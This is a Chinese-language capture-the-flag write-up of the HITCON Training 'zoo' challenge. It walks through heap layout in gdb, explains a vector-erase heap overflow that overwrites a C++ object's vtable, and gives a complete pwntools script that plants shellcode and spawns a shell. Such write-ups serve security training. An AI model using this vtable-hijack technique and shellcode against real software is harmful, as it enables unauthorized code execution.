HITCON Traing | zoo

Author Avatar
Aryb1n 5月 15, 2018

C++里这些…比如

std::vector<Animal *, std::allocator<Animal *>>::operator[](&animallist, idx) -> animallist[idx]
std::vector<Animal *, std::allocator<Animal *>>::size(&animallist) -> animallist.size()

新建了俩dog, 我叫他们dog1, dog2

我的环境里是这样子

0x2009c10 SIZE=0x30 DATA[0x2009c20] |........dog1....................| INUSED PREV_INUSE
0x2009c40 SIZE=0x20 DATA[0x2009c50] |........................1.......| INUSED PREV_INUSE
0x2009c60 SIZE=0x30 DATA[0x2009c70] |@1@.....dog2....................| INUSED PREV_INUSE
0x2009c90 SIZE=0x20 DATA[0x2009ca0] |p.......p...............Q.......| INUSED PREV_INUSE

这个0x2009ca0这里其实vector的内容,也就是animallist[0], animallist[1]的内容
注意….vector可不是在他那个bss那里存着, 那里就只存着三个指针,

animallist.begin() -> 0x2009ca0
animallist.end()   -> 0x2009cb0
v.???

看一下我们的内容

gdb-peda$ x/2gx 0x2009ca0
0x2009ca0:      0x0000000001a8ec20    0x0000000001a8ec70

注意一下的在于vector在earse之后, 后面的元素会前移
所以我们在remove(0)之后, 新add_dog得到的是animallist[1], 但他的地址是原来remove掉的那块低块地址, 所以可以heap overflow来覆盖高地址的animallist[0]的原来叫做dog2的那个dog…

对比一下原来0x2009ca0的内容就OK

gdb-peda$ x/2gx 0x2009ca0
0x2009ca0:      0x0000000001a8ec70    0x0000000001a8ec20

所以, 我overflow的时候, padding是8*9 = 0x48 个字节,

padding + p64(fake_vtable)

这个fake_vatble正好覆盖在了animallist[0], (原来高地址的dog2)的vtable上
现在调用animallist[0] -> speak()
就相当于call fake_vtable[0]
也就是我们的nameofzoo放置的shellcode会被当做speak的代码来执行

代码…

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','sh','-c']


p = ''
def gd(a=''):
    gdb.attach(p, a)
    if a == '':
        raw_input()

p = process('./pwn1')
# p = remote("115.159.49.85", 9999)
elf = ELF("./pwn1")


def recvu(s):
    return p.recvuntil(s)

def sendl(s):
    return p.sendline(s)

def add_dog(name, weight):
    recvu('choice :')
    sendl('1')
    recvu('Name :')
    sendl(name)
    recvu('Weight :')
    sendl(str(weight))

def add_cat(name, weight):
    recvu('choice :')
    sendl('2')
    recvu('Name :')
    sendl(name)
    recvu('Weight :')
    sendl(str(weight))

def remove(idx):
    recvu('choice :')
    sendl('5')
    recvu('animal :')
    sendl(str(idx))

def listen(idx):
    recvu('choice :')
    sendl('3')
    recvu('animal :')
    sendl(str(idx))


nameofzoo = elf.symbols['nameofzoo']

# name_of_zoo -> shellcode
recvu('zoo :')
sc = asm(shellcraft.linux.sh())
len_sc = len(sc)
sc += p64(nameofzoo)
sendl(sc)

add_dog('dog1',0x1)
add_dog('dog2',0x1)


remove(0)

gd()
# UAF -> overlap vtable
add_dog('padding.' * 9 + p64(nameofzoo + len_sc), 0x1)


listen(0)

p.interactive()